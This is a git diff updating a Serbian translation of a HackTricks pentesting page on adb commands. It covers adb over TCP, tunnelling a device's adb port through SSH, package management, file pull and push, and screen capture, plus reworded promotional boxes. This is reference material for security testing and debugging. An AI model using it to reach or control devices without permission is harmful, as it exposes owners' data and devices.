[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index 44b0a5e42..35f57dec9 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Podržite HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %} **Adb se obično nalazi u:** @@ -27,25 +28,25 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe ``` adb devices ``` -Ovo će izlistati povezane uređaje; ako se pojavi "_**neovlašćeno**_", to znači da morate **odblokirati** svoj **mobilni** uređaj i **prihvatiti** vezu. +Ovo će prikazati povezane uređaje; ako se pojavi "_**neovlašćeno**_", to znači da morate **otključati** svoj **mobilni** i **prihvatiti** vezu. -Ovo upućuje uređaj da pokrene adb server na portu 5555: +Ovo ukazuje uređaju da treba da pokrene adb server na portu 5555: ``` adb tcpip 5555 ``` -Povežite se na tu IP adresu i taj port: +Povežite se na tu IP adresu i tu Port: ``` adb connect : ``` -Ako dobijete grešku kao što je sledeća u virtuelnom Android softveru (kao što je Genymotion): +Ако добијете грешку као што је следећа у виртуелном Андроид софтверу (као што је Genymotion): ``` adb server version (41) doesn't match this client (36); killing... ``` -To je zato što pokušavate da se povežete sa ADB serverom koji ima drugu verziju. Samo pokušajte da pronađete adb binarni fajl koji softver koristi (idite na `C:\Program Files\Genymobile\Genymotion` i potražite adb.exe) +To je zato što pokušavate da se povežete na ADB server sa drugom verzijom. Samo pokušajte da pronađete adb binarni fajl koji softver koristi (idite na `C:\Program Files\Genymobile\Genymotion` i potražite adb.exe) -## Više uređaja +## Nekoliko uređaja -Kada pronađete **više uređaja povezanih sa vašim računarom**, moraćete da **naznačite na kojem** želite da pokrenete adb komandu. +Kada god pronađete **several devices connected to your machine** moraćete da **specifikujete u kojem** želite da pokrenete adb komandu. ```bash adb devices List of devices attached @@ -60,16 +61,16 @@ root ``` ## Port Tunneling -U slučaju da je **adb** **port** dostupan samo sa **localhost** na android uređaju, ali **imate pristup putem SSH**, možete **preusmeriti port 5555** i povezati se putem adb-a: +U slučaju da je **adb** **port** dostupan samo sa **localhost** na android uređaju, ali **imate pristup putem SSH**, možete **proslediti port 5555** i povezati se putem adb: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` -# Paket menadžer +# Paket Menadžer -## Instalacija/Deinstalacija +## Instaliraj/Deinstaliraj -### adb install \[opcija] \ +### adb install \[option] \ ```bash adb install test.apk @@ -85,7 +86,7 @@ adb install -d test.apk # allow version code downgrade adb install -p test.apk # partial application install ``` -### adb deinstaliraj \[opcije] \ +### adb uninstall \[options] \ ```bash adb uninstall com.test.app @@ -93,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p ``` ## Paketi -Ispisuje sve pakete, opciono samo one čiji naziv paketa sadrži tekst u \. +Ispisuje sve pakete, opcionalno samo one čije ime paketa sadrži tekst u \. -### adb shell pm list packages \[opcije] \ +### adb shell pm list packages \[options] \ ```bash adb shell pm list packages @@ -117,17 +118,17 @@ adb shell pm list packages --user #The user space to quer ``` ### adb shell pm path \ -Ispisuje putanju do APK datoteke određene . +Ispisuje putanju do APK-a datog . ```bash adb shell pm path com.android.phone ``` ### adb shell pm clear \ -Obrišite sve podatke povezane sa paketom. +Obriši sve podatke povezane sa paketom. ```bash adb shell pm clear com.test.abc ``` -# Upravljač datotekama +# File Manager ### adb pull \ \[local] @@ -135,23 +136,23 @@ Preuzmite određenu datoteku sa emulatora/uređaja na vaš računar. ```bash adb pull /sdcard/demo.mp4 ./ ``` -### adb push \ \ +### adb push \ \ -Otpremi određeni fajl sa tvog računara na emulator/uređaj. +Otpremite određenu datoteku sa vašeg računara na emulator/uređaj. ```bash adb push test.apk /sdcard ``` -# Snimanje ekrana/Snimak ekrana +# Screencapture/Screenrecord -### adb shell screencap \ +### adb shell screencap \ -Snimanje ekrana uređaja. +Uzima snimak ekrana prikaza uređaja. ```bash adb shell screencap /sdcard/screen.png ``` -### adb shell screenrecord \[opcije] \ +### adb shell screenrecord \[options] \ -Snimanje ekrana uređaja koji pokreću Android 4.4 (API nivo 19) i novije verzije. +Snima prikaz uređaja koji koriste Android 4.4 (API nivo 19) i novije verzije. ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -160,9 +161,9 @@ adb shell screenrecord --time-limit